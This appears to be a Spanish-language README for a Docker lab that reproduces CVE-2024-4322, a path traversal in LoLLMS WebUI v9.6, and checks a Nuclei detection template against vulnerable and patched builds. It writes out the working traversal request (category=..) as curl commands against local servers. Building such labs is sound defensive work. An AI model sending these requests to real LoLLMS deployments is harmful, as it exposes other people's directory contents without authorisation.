CVE-2024-4322: PoC de LoLLMS WebUI y laboratorio de validación con Nuclei

Este repositorio proporciona laboratorios locales Dockerizados para reproducir CVE-2024-4322, una vulnerabilidad de path traversal en LoLLMS WebUI v9.6, y para validar que la plantilla de Nuclei asociada no coincide con LoLLMS WebUI v9.8.

Usa este laboratorio solo contra objetivos locales, propios o explícitamente autorizados.

Resumen de la vulnerabilidad

El endpoint /list_personalities en LoLLMS WebUI v9.6 es vulnerable a path traversal. El parámetro category controlado por el usuario se añade a personalities_zoo_path sin saneamiento:

personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Al enviar category=.., la solicitud puede escapar del directorio de personalidades previsto y listar el contenido de un directorio padre.

Señal esperada de la vulnerabilidad:

category=   -> []
category=.. -> response contains "personalities_zoo"

El comportamiento corregido en v9.8 rechaza la entrada de traversal antes del listado de directorios.

Matriz de laboratorios

Entorno	Versión	Servicio	URL del host	Resultado esperado de la plantilla
Linux vulnerable	v9.6	linux-vuln-server	http://127.0.0.1:9600	coincidencia
Linux parcheado	v9.8	linux-patched-server	http://127.0.0.1:9602	sin coincidencia
Windows vulnerable	v9.6	windows-vuln-server	http://127.0.0.1:9601	coincidencia
Windows parcheado	v9.8	windows-patched-server	http://127.0.0.1:9603	sin coincidencia

Ejecuta todos los comandos desde el directorio que contiene este README.

Laboratorio Linux vulnerable

1. Iniciar el servidor

docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Espera hasta ver:

Uvicorn running on http://0.0.0.0:9600

Presiona Ctrl-C para dejar de seguir los registros. El contenedor sigue ejecutándose.

2. Verificar el comportamiento HTTP

curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Resultado esperado:

[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

El orden puede variar. La señal importante es que la respuesta al traversal difiere de la respuesta de control y contiene personalities_zoo.

3. Validar con Nuclei

nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Resultado esperado:

[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Laboratorio Linux parcheado

1. Iniciar el servidor

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Espera hasta ver:

Uvicorn running on http://0.0.0.0:9600

2. Verificar el comportamiento HTTP

curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Resultado esperado:

category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Validar con Nuclei

nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Resultado esperado:

[INF] Scan completed ... 0 matches found.

Laboratorio Windows vulnerable

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.

1. Iniciar el servidor

docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Espera hasta ver:

Uvicorn running on http://0.0.0.0:9600

2. Verificar el comportamiento HTTP

curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Resultado esperado:

[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

El orden puede variar. La señal importante es que la respuesta al traversal difiere de la respuesta de control y contiene personalities_zoo.

3. Validar con Nuclei

nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Resultado esperado:

[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Laboratorio Windows parcheado

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.

1. Iniciar el servidor

docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Espera hasta ver:

Uvicorn running on http://0.0.0.0:9600

2. Verificar el comportamiento HTTP

curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Resultado esperado:

category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Validar con Nuclei

nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Resultado esperado:

[INF] Scan completed ... 0 matches found.

Limpieza

Contenedores Linux:

docker compose --profile patched down --rmi local

Contenedores Windows:

docker compose --profile windows down

Requisitos

• Docker y Docker Compose.
• Docker Desktop en modo contenedores de Windows para los laboratorios de Windows.
• curl.
• jq para los ejemplos HTTP del Linux vulnerable.
• Nuclei para la validación de la plantilla.

Si jq no está disponible en el host Linux, usa el contenedor analyst:

docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Si Nuclei no está instalado en Windows, descarga el binario de la versión para Windows desde https://github.com/projectdiscovery/nuclei/releases, descomprímelo y ejecuta nuclei.exe directamente desde el directorio extraído.

Notas de configuración del laboratorio

Los Dockerfiles parchean los instaladores históricos durante la compilación para que el laboratorio sea reproducible hoy:

• Los laboratorios vulnerables clonan la etiqueta v9.6 de lollms-webui.
• Los laboratorios parcheados clonan la etiqueta v9.8 de lollms-webui.
• La URL del submódulo lollms_core se reescribe a https://github.com/ParisNeo/lollms_legacy.git porque el historial antiguo del código fuente se movió allí.
• El anclaje de versiones se comprueba contra los metadatos Git ascendentes: v9.6 es e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, y v9.8 es 8a8e3a1c386321f641a014bf8f7029512ccad411.